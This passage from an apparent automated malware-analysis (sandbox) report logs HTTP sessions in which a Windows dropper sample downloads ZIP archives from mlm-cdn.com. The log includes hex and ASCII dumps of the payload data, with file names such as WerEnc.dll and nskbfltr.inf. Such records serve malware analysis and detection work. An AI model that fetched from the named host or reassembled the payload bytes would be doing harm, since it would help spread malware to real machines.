2024-09-21 12:45:37 UTC	262	IN	HTTP/1.1 200 OK Date: Sat, 21 Sep 2024 12:45:37 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Sat, 10 Aug 2024 18:46:13 GMT Accept-Ranges: bytes Content-Length: 81710 Vary: Accept-Encoding Content-Type: application/zip
2024-09-21 12:45:37 UTC	7930	IN	Data Raw: 50 4b 03 04 14 00 00 00 08 00 7b 13 15 53 df 56 8d 8c fe 2c 00 00 98 50 00 00 0a 00 00 00 57 65 72 45 6e 63 2e 64 6c 6c ed 7c 07 5c 53 49 b7 f8 a4 00 01 29 51 01 51 01 23 82 62 01 6f 08 90 20 bd 44 ba 04 03 44 04 a4 06 42 c7 14 29 8a 0a 88 1a 22 8a 6b af 8b 82 65 77 ad eb ba a2 a2 82 a2 88 82 62 ef 8a 3d 28 2a 2a 2a 2a 9a 37 73 13 10 cb 7e fb 2f ef fb bf ef bd ff 37 fc e6 ce cc 39 67 ce 9c 39 e7 cc 99 99 9b ab 81 93 cb 00 09 00 40 86 59 a1 00 a0 0a 28 93 1b f8 fb d4 0e b3 ee 90 03 ba e0 0f cd a6 a1 55 84 80 a6 a1 21 82 64 11 2d 4b 98 99 24 8c 4d a7 c5 c7 66 64 64 8a 69 71 7c 9a 50 92 41 4b ce a0 79 05 71 69 e9 99 09 7c 6b 1d 1d 2d 73 15 0f 67 bf f8 43 b9 a3 75 9e 77 e7 2c ee fa e7 d9 b0 4c 77 d3 7d 91 83 97 9a 2f 92 71 9c f6 f3 68 bc ad fd 22 0f 2f 29 aa Data Ascii: PK{SV,PWerEnc.dll\|\SI)QQ#bo DDB)"kewb=(****7s~/79g9@Y(U!d-K$Mfddiq\|PAKyqi\|k-sgCuw,Lw}/qh"/)
2024-09-21 12:45:37 UTC	8000	IN	Data Raw: 02 30 bf 5e f1 ce e5 1f c5 bb 2f c1 ee 2f 78 8b bf 0b 6d 50 81 fa 5d 33 a6 06 6f ca 3d 9a f1 fb 0b 07 97 6a a7 89 7a 19 a3 5d a9 fd 45 9f b7 0a 9a 7d 36 db 06 96 2c 57 1b fe 9c 3e be 2c 36 f7 b2 82 65 cd 4e ed a8 79 68 59 75 dd 64 51 c9 0d cd 2b 83 ea 03 b4 ec 13 53 16 b4 0d be 42 2e db 6a 34 a0 72 cd fe 7b 6e 36 f6 d3 ea 6a 27 9f 38 f2 80 5c f3 c4 f0 c2 b6 63 82 17 71 db 6e 85 a4 71 b0 49 9b 9f ce f8 bc 74 cb 84 85 1d 6d 33 e6 8a 78 47 27 0e 15 d9 4e 7e 5d 51 12 76 92 7c 5d 43 f3 59 a7 ec fe 99 8e 99 0b 77 b4 bf ed 53 42 f9 e8 da 60 22 9c c5 ad 7a 7a 38 be e5 be 33 9d bf ab e0 e1 ab 6d 4d 86 95 3f 3b 6f dd bd e6 a8 47 73 d9 9c e8 10 13 85 f4 c9 01 13 ef b2 cc 5d a2 09 ee 3f bb fd 1c fd 70 c3 a8 df fb 2e 16 95 0c b5 6c 3f 73 5b e4 10 ed f2 5b 64 4c db 1d Data Ascii: 0^//xmP]3o=jz]E}6,W>,6eNyhYudQ+SB.j4r{n6j'8\cqnqItm3xG'N~]Qv\|]CYwSB`"zz83mM?;oGs]?p.l?s[[dL
2024-09-21 12:45:37 UTC	8000	IN	Data Raw: d9 a5 51 d1 c8 a6 c4 26 bc 7b 62 4f 0f 80 72 9f b2 b9 56 ab d0 d3 ce 21 4a a9 e4 fa 34 13 56 93 be e3 17 d0 1f 2d 27 7d c7 3f 42 e9 10 70 46 2e 3d 41 d5 70 1c 8c d4 55 09 14 50 7b 6c 54 0d bf 98 8c 27 46 66 13 92 49 47 32 55 18 a3 6d 85 c3 4c 25 67 cd e2 ea 15 b5 76 8e 50 c1 af 8b a7 94 1e 1a c1 d7 26 12 6a b7 c4 a8 65 22 35 dc 09 2f 5d c7 ad ff dd 80 55 a4 25 92 ca 4c 24 b5 27 81 d4 9b 24 4a ea 04 2a e1 dd 19 97 7e 89 db 45 9a bd 3d cd 55 28 d8 e1 83 bc ca 83 92 ab 16 99 9c 5e c3 e9 e0 c4 1d c8 8d f3 ef 74 ce 56 89 c3 b9 9f 3a 9c ee 43 73 f0 b5 5b 0b b5 ac 38 dc b9 12 5c 1b c5 bd eb d0 0d 88 5b 00 53 e0 03 d9 ed 49 38 07 2d d7 6d 49 e8 78 eb 64 af 76 08 df 9b 36 8a ea 73 50 01 cb 53 3d 0e 9e fa a6 49 9e 5a 50 28 e9 bb c9 61 21 a2 3e 92 2d 3a c0 8b 63 c1 Data Ascii: Q&{bOrV!J4V-'}?BpF.=ApUP{lT'FfIG2UmL%gvP&je"5/]U%L$'$J*~E=U(^tV:Cs[8\[SI8-mIxdv6sPS=IZP(a!>-:c
2024-09-21 12:45:37 UTC	8000	IN	Data Raw: f6 43 c9 39 1f 77 c9 18 b8 04 3c a1 08 11 d8 69 54 1b f9 ec 91 98 97 06 12 cd c5 ec 55 3e 10 3f 1f a4 c7 d6 80 fb d0 dd e0 79 64 2a 17 d1 cf 8f 0c d5 3e f8 35 6f c0 d8 c3 04 6e c4 cf fa 59 7a 12 50 2c 7a fc 98 56 2c 1b f1 e8 c0 30 f7 0f 5b 21 37 f5 64 94 c0 3e 92 96 8e 6f 8b 19 df f3 8c f8 5e 62 c0 77 91 1e de 3b 9e b1 e4 d3 2a cd 4a ab 79 84 56 29 63 c5 58 65 45 68 75 df 28 54 2f 7c 2f 25 bb 04 ed 47 7a 32 69 ad ef e1 a0 f6 db 0d 3d b9 d8 17 cf 41 1a 0a a6 b8 69 86 d6 90 c3 38 d8 63 85 5e 30 05 7f d1 41 4d 83 29 99 6a fe 0e a6 64 43 0b d3 67 93 7e e3 13 01 12 ec ca 85 be 96 f6 37 f6 9d 27 12 f5 83 ef 00 42 01 f2 8b f3 52 9a 21 11 f0 44 20 8a 52 9a 12 89 92 18 d4 be 1b 7f 2b 95 4f 80 fd d1 7f db d0 e9 ea 27 87 57 86 dc 8d ab c9 2b 6b f8 5b e1 65 12 07 f0 Data Ascii: C9w<iTU>?yd>5onYzP,zV,0[!7d>o^bw;JyV)cXeEhu(T/\|/%Gz2i=Ai8c^0AM)jdCg~7'BR!D R+O'W+k[e
2024-09-21 12:45:37 UTC	8000	IN	Data Raw: a7 63 b5 75 59 8d 5c a3 aa 61 e6 99 c0 00 98 c8 8b 4f c5 22 cd c2 d5 1c 19 5f 5d c7 51 7d ca 08 db e3 7e b1 ca 42 9c 5f e9 0e e2 91 a9 b4 62 dd 4c 0f 08 a8 aa 64 f6 da 52 a0 af 8f c2 ba 9a 00 d5 c4 58 82 7b 93 33 66 e7 61 8d 31 67 59 30 ab a1 24 55 bf 33 ee ed d0 3d 53 c8 1c b4 21 96 76 89 14 73 8f 47 ca a5 6a a1 33 13 41 9a ca 73 a8 81 04 42 78 d5 49 b1 4e 5a ac 1a 2f f1 42 ff 79 99 3a 4b 34 35 73 eb 25 5e 9b 6f 41 99 cd 98 2f 61 44 90 cc b5 52 09 98 b6 10 9f 11 41 26 cc 0a 5b 8a 32 d4 3b ae 98 56 2e c0 55 2a 1d 46 6b a9 f6 4a 85 51 59 a7 34 63 cc 20 6a 61 55 a2 ba ce 44 35 96 39 ce 47 7d 00 8a 9f c8 61 ca cd d9 c6 97 3e 17 64 f1 01 47 b8 ce 85 a4 71 c9 83 2c 75 6d 90 9f 75 a5 d9 f9 ca 76 11 e1 cc 6b 3e c6 d5 b5 91 e3 42 ab b9 7a 38 57 57 65 1b ce 2c 80 Data Ascii: cuY\aO"_]Q}~B_bLdRX{3fa1gY0$U3=S!vsGj3AsBxINZ/By:K45s%^oA/aDRA&[2;V.U*FkJQY4c jaUD59G}a>dGq,umuvk>Bz8WWe,
2024-09-21 12:45:37 UTC	8000	IN	Data Raw: eb 6f a5 d5 d4 03 a2 71 71 b4 63 9c 46 a4 2e 30 51 e7 9b 0c 55 3d a2 9f 30 72 d0 68 2b f7 02 83 64 04 9b 76 e2 fa 4a 0b a6 3f 43 f4 f3 74 94 20 5b 04 95 ae f5 ef 7c 10 07 b6 0c 1e cf 77 88 ea 05 8c d2 cc 62 c0 0b 58 35 61 bc 2a 53 4d 3a 4f 2f 3a 59 89 39 1b 25 66 d5 56 89 0b b6 b3 20 7b 14 4e 1d 4b 74 0d 0b 30 da 12 d2 1f 6d e2 85 d8 1f 0f 5d 85 d0 90 72 1d a3 b9 c9 2a ff d7 99 50 5c 24 9c 18 4f 03 d7 7e 82 8b 92 32 9e d4 9f 2b c8 8a c0 a6 10 82 ec 61 36 5d c2 ee 59 96 7d 4d 90 85 df 54 38 98 83 f3 ed 19 f1 f4 ab 27 df aa bb 53 61 e4 68 e3 6b 76 d0 28 c7 55 31 6c 20 5a 75 9d 1c 59 d1 77 d6 56 74 60 bc 17 db 5d e5 cc 9c b3 38 5b 8b 8a 0f a3 bd d6 91 6b 27 cf 02 53 4d 04 d9 f7 21 d9 33 33 ec 42 1c 41 f6 0d 5c 84 b7 64 66 3c 34 48 02 7f ee a6 43 78 c3 d2 9f Data Ascii: oqqcF.0QU=0rh+dvJ?Ct [\|wbX5aSM:O/:Y9%fV {NKt0m]rP\$O~2+a6]Y}MT8'Sahkv(U1l ZuYwVt`]8[k'SM!33BA\df<4HCx
2024-09-21 12:45:37 UTC	8000	IN	Data Raw: 53 1f b1 8a 0f 94 ef ad 78 1f c4 97 9a 14 1d a3 98 a6 48 c6 e2 21 0f 8c 8f 14 c6 24 a5 a4 ab d2 14 bd a8 f7 85 1b 85 4e 4a 99 96 9c 20 84 a6 4b 4a 4f 98 82 ed 6e c0 80 7c 91 ac 98 31 3e b2 a1 6d a7 c7 29 a3 27 27 29 9a 90 d1 80 a8 69 1c 70 8f 1c 35 0a ef 1c 4d 92 05 51 93 54 b1 4a 61 9a 42 a9 4a 4b 4e 48 86 4c 26 bd 53 3b 0d 68 de 57 df ef 2d b4 51 bc 58 c5 bf 6a 8b 0f f2 4f 42 9a 52 05 54 c7 26 a4 37 56 d1 b4 e8 d4 f7 f0 e1 7b db fb 5f b5 df bf 6a b7 74 a8 b2 e8 34 b6 ca a1 66 8c 10 e9 f9 52 11 17 ad 4a 52 7e a0 aa 1a f0 7f 30 3d 4b 7c 13 df 49 60 27 8d f0 4e 9f d5 77 56 f4 57 42 ff 4e 89 d3 e3 40 de c0 b2 4e d6 b7 2c fa c5 35 d8 a3 bc 28 6a 0e 40 4f 00 4f 4f 2f ca db db 8b ea 01 f6 81 00 fd 01 1c 00 fa 62 9c 39 10 a7 27 98 98 06 cf 63 a0 5c ef 43 51 fd Data Ascii: SxH!$NJ KJOn\|1>m)'')ip5MQTJaBJKNHL&S;hW-QXjOBRT&7V{_jt4fRJR~0=K\|I`'NwVWBN@N,5(j@OOO/b9'c\CQ
2024-09-21 12:45:37 UTC	8000	IN	Data Raw: 53 07 bb b4 9e 61 26 1e 11 33 20 af ff ed a3 8a ad dc a9 b6 65 9f bc 3c c3 7b 3c 4d f3 a5 d5 ae 1f ae 79 f7 ab d8 6e bb b3 c8 82 a3 9a 72 73 5a 65 4c 4c 67 d7 f9 09 9a 23 db 65 de c9 e3 26 2e db 30 fe f4 7a d1 42 11 63 ba c7 b7 c8 52 e0 fe eb 94 6d 61 39 2f f3 44 8a 97 29 c5 f7 3a ed 52 2b 13 bc 77 1c 8f 97 ee ba 3b 45 bc 76 3f af 3c c3 2c c8 f7 c1 b3 05 b1 81 db 9e a6 ef 34 5f fd 38 49 f1 cd d1 d1 e3 ed d6 45 74 28 9e 19 38 27 75 fb aa 8e 0b da ed 58 54 b9 ff 64 cb 4c 3b df 4b 6d db f5 a9 9f b0 ce d6 e1 be ec e9 c3 c3 17 a7 8c e8 1d 65 f6 60 79 f0 a7 f7 8a 6a 4b eb 5f fe ea ed 14 d8 5a e8 ba 98 7b ff c0 76 8b c0 75 96 2b 3d 9a c5 7d 39 66 42 9f 4d 07 f9 5b 44 ee 9e a5 81 ae 2e 73 d6 fd fc a0 f0 e2 8b e6 d3 5f ce 33 eb e8 7b ea 33 97 ca 8b 9f 9e dd 37 9f Data Ascii: Sa&3 e<{<MynrsZeLLg#e&.0zBcRma9/D):R+w;Ev?<,4_8IEt(8'uXTdL;Kme`yjK_Z{vu+=}9fBM[D.s_3{37
2024-09-21 12:45:37 UTC	8000	IN	Data Raw: 31 9e ff d7 ee 49 ce 03 22 a7 06 0c 7d b6 61 41 eb 0c d1 82 d6 73 1a f8 ca d4 94 e3 b8 a0 75 12 f8 c5 37 59 b6 6d 3d 16 bc 46 83 98 6f ba 6c 6b 62 86 b3 59 4b f3 16 06 46 b4 e2 70 73 33 5f 73 33 5f 8a 32 9f 03 73 eb f1 ee 76 44 46 7f 77 d1 36 6c 4e 57 df bb 1b b3 3e 3f a9 cd 99 3f 30 e4 6a d4 91 17 5f f5 2d 8f 7b d4 eb e6 ae d8 cc 7d 41 33 af 9a b4 a1 76 eb 46 cd 58 d8 7d 74 6b 0f 9e 97 e8 8e 43 cb 1c 97 9b 53 ac 6c 05 4e 22 a3 dd 0c d7 71 b9 99 8b 37 67 2e fa 6f 72 22 26 77 81 e5 ab 8f 47 8d 3e 1e 35 fa 78 d4 e8 e3 51 a3 8f 47 8d 3e 1e 35 fa 1f 7e d4 e8 e3 2d 93 8f b7 4c 3e de 32 f9 78 cb e4 e3 2d 93 8f b7 4c fe 27 dc 32 71 5c c0 ed 0f e3 5d 9f ff bf 1c 21 5c c0 99 2a ea 60 bc 04 d5 74 36 ff 77 c7 08 5d df 3d 46 b8 fc e0 ab 5d 07 1d 1f 3b 8c 69 7f 66 67 Data Ascii: 1I"}aAsu7Ym=FolkbYKFps3_s3_2svDFw6lNW>??0j_-{}A3vFX}tkCSlN"q7g.or"&wG>5xQG>5~-L>2x-L'2q\]!\*`t6w]=F];ifg
2024-09-21 12:45:37 UTC	8000	IN	Data Raw: 13 ce 6c 44 fb b7 92 e3 75 dd 7e b8 fc c0 b4 be 9b 8e bc 36 bd e6 fe a2 09 9b 5f ec 17 2c 7e b9 ac b0 ef 45 ba d0 cd 48 17 f2 d2 ca b8 1c 8a c3 11 8e 68 7a 7f fb e4 b1 a5 8e b0 75 07 17 16 1f 2f ed 46 7b b6 78 45 09 c0 fe 5b c4 1d ee 58 1e df 87 33 7c 98 b8 17 dd 03 23 ee 82 2e c3 4d 8c ca c2 98 44 23 55 06 75 0e de 29 26 b1 90 f6 c2 9d 1d 04 1d 94 2a 5d 96 d1 a4 11 f7 a4 fd 30 c5 43 d0 39 ce a8 37 6a 8c a2 b8 58 51 92 56 af 85 7d 25 f6 a7 fb e2 3e ae c0 2f 36 36 56 14 c7 98 2c da 2c ad 1a 74 8a 94 8c 29 4f 0b 3b 96 7e a1 bb a7 44 4c 87 4a 42 69 52 c6 03 1a 2e 96 48 e1 5f e8 90 d0 21 e3 e9 d4 b6 ce f9 d1 dd 88 35 1f 6f 25 a3 b6 68 b3 8d 2d b6 06 d3 41 c4 96 4f 60 73 8f c2 9a a9 d3 aa 45 71 46 0d d8 d3 66 1b b4 86 6c 51 8a d1 68 11 a5 c8 c2 e8 42 4e 40 eb Data Ascii: lDu~6_,~EHhzu/F{xE[X3\|#.MD#Uu)&*]0C97jXQV}%>/66V,,t)O;~DLJBiR.H_!5o%h-AO`sEqFflQhBN@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49703	142.11.212.184	443	4504	C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-21 12:45:38 UTC	49	OUT	GET /ssd/sdn4.zip HTTP/1.1 Host: mlm-cdn.com
2024-09-21 12:45:38 UTC	263	IN	HTTP/1.1 200 OK Date: Sat, 21 Sep 2024 12:45:38 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Sat, 10 Aug 2024 18:46:12 GMT Accept-Ranges: bytes Content-Length: 464977 Vary: Accept-Encoding Content-Type: application/zip
2024-09-21 12:45:38 UTC	7929	IN	Data Raw: 50 4b 03 04 14 00 00 00 08 00 f0 90 e6 36 f7 a8 ed 91 d4 00 00 00 48 01 00 00 0c 00 00 00 6e 73 6b 62 66 6c 74 72 2e 69 6e 66 55 8f c1 6a c3 30 0c 86 ef 06 bf 83 08 3d 2e 81 1d 76 2a 39 ad e4 d2 12 0a 09 cd 61 8c e1 d4 72 2b ea d8 20 bb 0d 7d fb b9 69 1a a8 d0 41 48 fa ff 4f 5a 83 0b 97 de d8 c8 05 39 23 c5 3a 25 d4 0d 6c f1 de 7b c5 1a 2a b2 11 f9 d1 9d 87 ed 99 02 a4 5d 30 64 31 15 21 2a 6b 03 c4 33 42 b7 a9 a0 62 35 e0 e8 f9 02 3d 39 c5 84 41 0a 29 7e 0e c8 81 bc fb 95 a2 a1 93 53 f1 ca 58 66 ab 8e 9c f6 63 80 ba 5d 65 52 ec d9 df 48 23 97 75 b3 7b 88 9e c0 3c cf 97 1b e1 db cf 40 e4 17 5a c5 e4 0b f9 14 93 62 e2 2d 5f d5 6d d1 69 93 b8 db 41 9b 06 f9 46 47 84 72 71 fc 58 aa bf 51 9b 80 c7 f8 26 7f 35 67 fd 8e 7a 56 7c 9f 9f 49 36 9f c5 d7 13 f8 0f 50 Data Ascii: PK6Hnskbfltr.infUj0=.v9ar+ }iAHOZ9#:%l{]0d1!*k3Bb5=9A)~SXfc]eRH#u{<@Zb-_miAFGrqXQ&5gzV\|I6P
2024-09-21 12:45:38 UTC	8000	IN	Data Raw: ad 84 0a eb 55 f7 1b f5 fa 2a 13 2f 39 bc 33 41 c2 8a 61 63 c9 bb 2c 68 2a 3a f0 34 a7 62 e5 55 26 cf 0d 37 2a d0 e1 a3 5a 75 03 74 29 9e 80 b2 b7 1b e1 fd de 05 d0 73 b8 ca e1 ad 11 dd 6d c8 1d 78 0f 64 31 5c cb ca 22 e1 82 b7 1c 05 9a 10 00 53 d0 00 4c 19 84 91 42 dc 2d b7 27 57 82 d7 e9 0a 29 1d 9e f7 ae 87 cd 15 29 36 d2 22 a8 4a 93 c9 df 1a c4 23 65 03 d4 50 68 73 27 a0 92 d6 26 a4 d0 74 d3 61 37 28 0e 02 1a c1 35 1b 8c 5a 74 5f 2b ba 2f d6 8a 1e 89 21 f3 79 5b 11 22 31 8a 28 e0 e2 24 ba ad 57 3c 02 6b 12 ea a8 b8 0f 72 b0 5f 5b b9 de d6 0d 02 a4 54 80 91 a8 88 40 24 32 80 4d 17 02 60 ea 6f 80 b5 e3 c6 b8 e1 70 93 13 5e 26 05 84 1f 81 8f 08 4d 83 a0 32 8b a1 31 03 fa 44 d6 57 2b ab a8 82 26 d9 eb d8 18 04 95 09 a1 32 ff 15 54 cb fa 82 c6 d2 04 d1 ca Data Ascii: U/93Aac,h:4bU&7*Zut)smxd1\"SLB-'W))6"J#ePhs'&ta7(5Zt_+/!y["1($W<kr_[T@$2M`op^&M21DW+&2T
2024-09-21 12:45:38 UTC	8000	IN	Data Raw: ae a3 69 f5 43 df 8d 73 bf f6 43 1d 5a fc 10 f0 3b e0 05 96 3d 02 85 03 b5 23 6e d3 1a ce b6 e4 68 df f3 54 62 c2 53 05 e0 c3 70 51 91 6f 91 f7 5c 4f 23 4f a5 c8 02 7a 09 95 14 b9 aa 16 95 85 a1 a4 b1 c2 b6 e8 2b 72 5b 53 8c dc 56 0a 2e c5 3d 8d 62 54 ae 51 8c fa cf c8 bd 13 12 50 d6 10 a4 3a 18 f9 bd ce c6 7e af 0d 86 6f 1c 1f e0 47 50 bc f8 c5 30 a7 11 71 1b 6f dd 4d 19 b8 60 f5 6b 0c eb de 6d e2 0c b7 eb 9c e3 1f 7e bf 1f ff fb e7 38 ac 60 55 d7 34 a6 19 75 f4 91 b2 67 ea a9 bd 6a 19 fe cf df fa c7 78 f9 ab 3b bc 6b 97 1d b9 66 a0 b7 5b 63 cd bb da 27 f5 b6 85 dc 8a 62 65 ff d2 bb 43 1f 2d af 57 71 95 43 46 78 0d 3f ba ea f8 e8 11 bb 17 f5 79 f7 7b ae cb 95 d2 84 5d 9b 7b a7 8c 93 86 f8 c4 ea a9 b5 0f e4 92 69 b4 f7 db 96 dd 9d 34 d9 eb e7 15 07 a6 be Data Ascii: iCsCZ;=#nhTbSpQo\O#Oz+r[SV.=bTQP:~oGP0qoM`km~8`U4ugjx;kf[c'beC-WqCFx?y{]{i4
2024-09-21 12:45:38 UTC	8000	IN	Data Raw: 37 fd 93 a1 db 23 d9 74 b0 47 b6 4e 4a d9 24 22 a5 13 6f f1 a7 01 8d 64 9e 36 d5 4f f9 df 92 ce 86 ea a7 a4 4f 51 97 f4 f1 f8 eb 0d 91 ec 13 e4 f2 48 68 19 5b 77 68 19 49 6d 64 0b 09 2d 23 4b 4c bb ae 67 f4 ff 12 57 24 84 bf 97 7a ed 22 75 22 1b 4d bd da 8c fe 73 74 93 64 8b 15 de c7 e5 32 19 5c 73 68 eb e4 78 e6 9c 85 4e ce 59 a8 89 a9 ef 4a da e9 9f 8f 4b fd 3b e4 1d 5f 6b c7 cc a0 b3 63 1a d1 85 98 1b c6 be 83 e4 1d 3b 68 27 85 f0 78 8b bd 8f 86 31 1b e9 c6 da 31 3d ef 90 2d 0c f6 5e 87 1d 01 35 d9 17 2c 6d 45 02 f8 ef b4 53 3b 76 8a a4 51 f8 1b 18 b0 d2 5a 22 49 6f 37 b1 30 64 4e 7a 27 92 42 bb 26 0d b7 dd bf f3 cd 68 c4 cd 06 66 ca 98 88 fe df 75 4d 1f 7d 2a 06 ad be ee 51 93 59 13 48 c7 e8 6f 18 fb 43 12 d9 b6 6b 48 08 ef 1a ea 5a 6d c7 64 a2 1b bb Data Ascii: 7#tGNJ$"od6OOQHh[whImd-#KLgW$z"u"Mstd2\shxNYJK;_kc;h'x11=-^5,mES;vQZ"Io70dNz'B&hfuM}*QYHoCkHZmd
2024-09-21 12:45:38 UTC	8000	IN	Data Raw: fd 97 ea 91 f8 07 04 04 22 7f ff 80 36 8b f1 7f 7e f9 13 0e 93 26 05 a3 d0 d0 50 34 7d fa 8c 56 69 c6 8c 50 34 65 ca 14 34 71 a2 1f e3 ff 1c f2 27 dc a4 52 19 3a 7b f6 2c aa ac bc 86 ca cb cb 5b a5 ca ca 4a 54 52 52 82 96 2d 5b 8e 7c 7d 27 32 fe cf 19 ff f1 e3 27 a0 cf 3e fb 1c 3d aa e5 e7 e7 a3 09 13 bc 19 ff 76 c4 9f 8c e9 a4 8f 09 17 43 f2 f4 f4 42 53 a7 4e 45 3b 76 fc 8a 0e 1f 3e 8c 0e 1d 3a 44 55 54 54 84 4e 9d 3a 65 50 45 45 27 69 b9 c2 c2 42 94 97 97 87 64 b2 58 e4 e1 31 8e fa 34 26 ed b9 86 f1 7f f2 fc fd fd fd 29 97 f4 f4 f7 d0 f2 e5 2a bd 52 a9 54 68 e9 d2 a5 28 25 65 31 4a 4b 5b a6 51 1a 3d 26 bc bd 7d e8 f9 a1 a9 7c 7c 7c a9 7f 52 87 d4 5d bc 38 95 fa 49 4f 4f a7 db 5a bd fa 7d 1c 5f d1 6c 5b 24 4f 2e 97 d7 cf 17 19 ff 27 cb df cb 6b 3c fa fa Data Ascii: "6~&P4}ViP4e4q'R:{,[JTRR-[\|}'2'>=vCBSNE;v>:DUTTN:ePEE'iBdX14&)*RTh(%e1JK[Q=&}\|\|\|R]8IOOZ}_l[$O.'k<
2024-09-21 12:45:38 UTC	8000	IN	Data Raw: e7 f8 df 61 33 6f 9b 02 8f 44 85 76 65 1b a2 a9 2b 34 7b 4d 90 42 f4 87 67 0e e7 7b 7c 5d 54 36 84 9d af f7 93 5d 33 79 4c 50 2a 3e b4 ae db b0 5c 4f c9 fd f1 e1 89 a1 40 75 57 54 63 de 6d fe a8 ec 93 8f d7 09 ba 96 08 ee 63 9d 7f 2d 76 7f 1f cd 53 f7 fe b1 1e bb 97 1e b2 96 d6 66 77 9c 9e 9f 6a f8 07 be 9c d0 a2 f4 a0 a5 35 b9 68 b0 b1 c5 37 8c 29 3e 62 6e d8 2a 77 23 6f c9 b2 dd e3 9b af 62 75 cc 23 7b 2f 14 d8 14 af 26 e6 06 ca 45 8d 48 6e e9 c9 7c 41 cc 48 b8 15 2a 5b 21 92 20 93 7f b6 c9 cb 81 f0 a8 5a bf f3 88 d0 4a ab 1b 79 fb 77 3e 24 94 15 f8 6f c7 f9 fc f1 2a 7b 03 11 83 bc 05 e2 97 89 b8 6c d8 76 b1 76 73 28 13 3b 42 be 33 f0 b1 63 57 15 ae 37 4b 8b 1a 46 5b 17 94 7a f0 ad 40 4e 40 83 b7 07 cf aa 96 3f a6 4a b7 f4 eb 75 a1 9f 1b 9f 48 ed 58 79 Data Ascii: a3oDve+4{MBg{\|]T6]3yLP>\O@uWTcmc-vSfwj5h7)>bnw#obu#{/&EHn\|AH[! ZJyw>$o{lvvs(;B3cW7KF[z@N@?JuHXy
2024-09-21 12:45:38 UTC	8000	IN	Data Raw: c5 b0 d9 85 42 f2 82 85 03 5b e2 5f c1 c0 ee bc 75 08 67 18 23 d5 a2 b6 e5 48 2c e8 16 8c a4 a2 b0 14 0d 2d 85 ff 4b de b0 c0 d7 0b 6b a3 ad 0b 91 d7 83 0b d1 fb a5 95 ee 5f 10 4a 88 45 28 24 da 86 f7 42 4a c1 b6 5c d7 ba 14 bc 2a 5c 88 b6 2e 09 ef a1 2c e1 bf e7 26 31 28 5c 48 af 4f 44 37 b3 75 47 37 13 d7 2e b6 90 e8 66 d2 a4 ae 6b b1 28 f2 33 5c 91 3e f6 c4 aa 5b d7 a9 91 d8 55 77 4c 55 14 99 c6 b6 b8 58 fd db b8 5c c6 83 6b 8e ee 5f 98 5b bf 62 a1 0b 2b 16 5a c7 c4 0f e4 3d 12 5c 83 4b fd 27 a4 9d 33 ba 31 3b a9 dd 98 ca d4 51 66 86 f8 e7 11 dd 89 de 08 92 5f 0f ba 27 68 18 33 a2 3a de 8b 51 d0 29 6a 18 3e b6 08 9d e4 f8 27 56 85 cd 5e 8a 95 e0 a7 dd 04 e3 a7 89 1b 99 3f 89 81 20 18 09 25 5c 6b cb 08 87 84 82 bc 26 cc 74 1f 7e 24 15 51 a2 b7 8f a9 64 Data Ascii: B[_ug#H,-Kk_JE($BJ\*\.,&1(\HOD7uG7.fk(3\>[UwLUX\k_[b+Z=\K'31;Qf_'h3:Q)j>'V^? %\k&t~$Qd
2024-09-21 12:45:38 UTC	8000	IN	Data Raw: 77 56 e9 eb 62 a8 1d 73 c6 77 50 04 b9 cf a9 51 fe 3e 37 ff 57 b8 fe 3f b7 42 75 ab 37 d6 fb 5b 77 f3 8f c7 6d e7 ff 88 9e f7 38 1e 5d 7b 46 8f c7 a4 44 65 3c f6 6a 63 72 18 9c c3 b8 9c 63 f2 e0 d4 c6 cf 4e 8c 50 fa 93 f3 94 68 f2 48 5d db 2e 5f 76 ca a3 a4 76 e6 5b fb d4 61 2a ab 0e 51 39 74 4a 2c fa f0 3c 3a eb 12 e4 a0 31 5c bb cb 2b 42 03 b9 6d 6a f9 c1 07 e0 cb fa 5f 93 47 3b ef ec 1b 5c de e1 35 72 35 30 e3 57 ca 01 ca 2a 54 ca 5d 2d ae 84 8b fa ae 5b 49 f0 5d 85 bc d7 2e f9 53 1e f9 2b 14 92 27 45 8a 56 ca 80 d3 a5 9d f1 0f a6 54 34 e6 83 2c 58 06 ac 7e 54 9e 12 03 4e 5a e4 59 31 d8 1f 47 88 5c 6c c0 da d2 c6 b0 dd 54 fe 8b 27 dd bd cd 7a e9 97 cf bd ed f8 2c 29 96 34 a3 e7 89 36 df 11 a9 d2 96 c5 68 e1 a6 bc 2b d0 a4 e3 26 f6 fe fb 60 5e be 09 23 Data Ascii: wVbswPQ>7W?Bu7[wm8]{FDe<jcrcNPhH]._vv[aQ9tJ,<:1\+Bmj_G;\5r50WT]-[I].S+'EVT4,X~TNZY1G\lT'z,)46h+&`^#
2024-09-21 12:45:38 UTC	8000	IN	Data Raw: c0 6e 70 18 9c 06 97 01 3b 0c 1d 0f 4a 82 f2 a0 0a a8 0d 92 40 0b d0 16 74 05 d9 20 17 bc 0d 46 82 89 e0 2b f0 2d 58 03 b6 82 9d e0 00 38 06 ce 80 bf c0 4d 60 39 02 3d 00 4a 83 a7 41 4d d0 08 34 03 ad 40 47 90 01 ba 83 5c f0 26 78 07 8c 00 1f 83 09 60 1a 58 08 96 83 6d e0 10 38 0e ae 02 f6 2b ec 1e 50 02 94 07 95 41 4d d0 00 a4 82 f6 c0 0e bc e0 4d 30 18 8c 06 93 c1 7c b0 1c 6c 05 79 e0 18 b8 08 d8 6f e8 17 50 0a 54 06 f5 40 0a 68 0d ba 02 17 08 82 fe e0 3d 30 01 7c 05 16 81 75 e0 67 70 18 9c 01 d7 41 ec 51 e8 14 f0 24 a8 01 1a 81 96 e0 55 e0 02 21 30 00 7c 00 c6 83 af c0 62 b0 0e ec 00 47 c0 39 70 1d 58 8e 21 2f 50 11 54 03 cf 83 64 d0 0a 74 04 56 90 05 bc 20 0c de 06 43 c1 28 30 09 cc 02 0b c1 4a b0 19 ec 06 87 c0 71 70 01 fc 0b 2c bf a3 3f 41 59 50 19 Data Ascii: np;J@t F+-X8M`9=JAM4@G\&x`Xm8+PAMM0\|lyoPT@h=0\|ugpAQ$U!0\|bG9pX!/PTdtV C(0Jqp,?AYP
